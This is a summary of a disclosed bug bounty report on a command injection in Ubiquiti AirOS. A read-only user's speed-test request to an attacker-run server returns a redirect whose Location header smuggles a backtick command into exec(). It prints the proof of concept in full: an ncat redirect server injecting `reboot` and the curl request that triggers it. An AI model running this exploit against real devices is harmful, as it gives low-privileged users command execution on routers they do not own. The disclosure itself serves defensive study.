# Read-Only user can execute arbitraty shell commands on AirOS

Read-only AirOS user triggers speed test to attacker server whose redirect Location embeds shell code, injected into exec() in fetchCookies, yielding command execution.

- Payout: hidden
- Severity: high
- Program: Ubiquiti Inc.
- Found by: rbran
- Disclosed: 2016-08-05
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/139398
- Library page: https://bugbountylibrary.com/r/h1%3A139398
- Tags: area:devices domain:iot impact:privesc impact:rce kind:bounty platform:hackerone sev:high tech:php technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** AirOS router web CGI (sptest_action.cgi / remote.inc fetchCookies)
**Root cause:** fetchCookies takes the last line of the remote server response as new_url and validates it with an unanchored ereg regex `(https?://$ip(:[[:digit:]]+)?)/login.cgi`, which permits arbitrary strings before/after the URL; the URL is then concatenated into `$cmd_trigger -p $url` and passed to exec().
**Steps:**
1. Attacker runs a server returning a 302 with Location containing shell code: `echo -en "HTTP/1.1 302 Found\r\nLocation: https://192.168.1.100/login.cgi `reboot`\r\nContent-Length: 0\r\n\r\n" | ncat -lp 8080`
2. As a read-only user, trigger a speed test against the attacker host via `https://192.168.1.20/sptest.cgi` or `curl 'https://192.168.1.20/sptest_action.cgi?ticket=507&action=remote&target=192.168.1.100&port=8080&login=ignore&passwd=ignore&airosid=...'`
3. fetchCookies receives the redirect, sets new_url to the attacker line, passes the unanchored ereg check, and exec() runs `$cmd_trigger -p <url with shell code>`
**How found:** Follow-up to prior reports #119317 and #128750; researcher re-examined the patched fetchCookies in beta XM firmware and noticed the new regex was not anchored with ^/$, so strings could be appended around the expected login.cgi URL.
**Exploitation:** Attacker-controlled HTTP server issues a 302 whose Location header contains a URL matching the loose regex plus injected backtick command; the router's speed-test CGI fetches it and executes the embedded command via exec(), giving shell command execution to a low-privileged read-only user.
**Insight:** When a fix adds a regex validation, check for missing ^ and $ anchors — an unanchored match still accepts attacker-controlled prefixes/suffixes that later reach a shell.

## Proof of concept (copied exactly from the original report)

**Malicious redirect server injecting reboot command**

```
echo -en "HTTP/1.1 302 Found\r\nLocation: https://192.168.1.100/login.cgi `reboot`\r\nContent-Length: 0\r\n\r\n" | ncat -lp 8080
```

**Speed test request triggering command injection**

```
curl 'https://192.168.1.20/sptest_action.cgi?ticket=507&action=remote&target=192.168.1.100&port=8080&login=ignore&passwd=ignore&airosid=96ba18a3aa55ba4c6e1f8ab111a9fb8f&_=1463505340471' -H 'Cookie: AIROS_001122334455=96ba18a3aa55ba4c6e1f8ab111a9fb8f; ui_language=en_US; last_check=1463504970136'
```

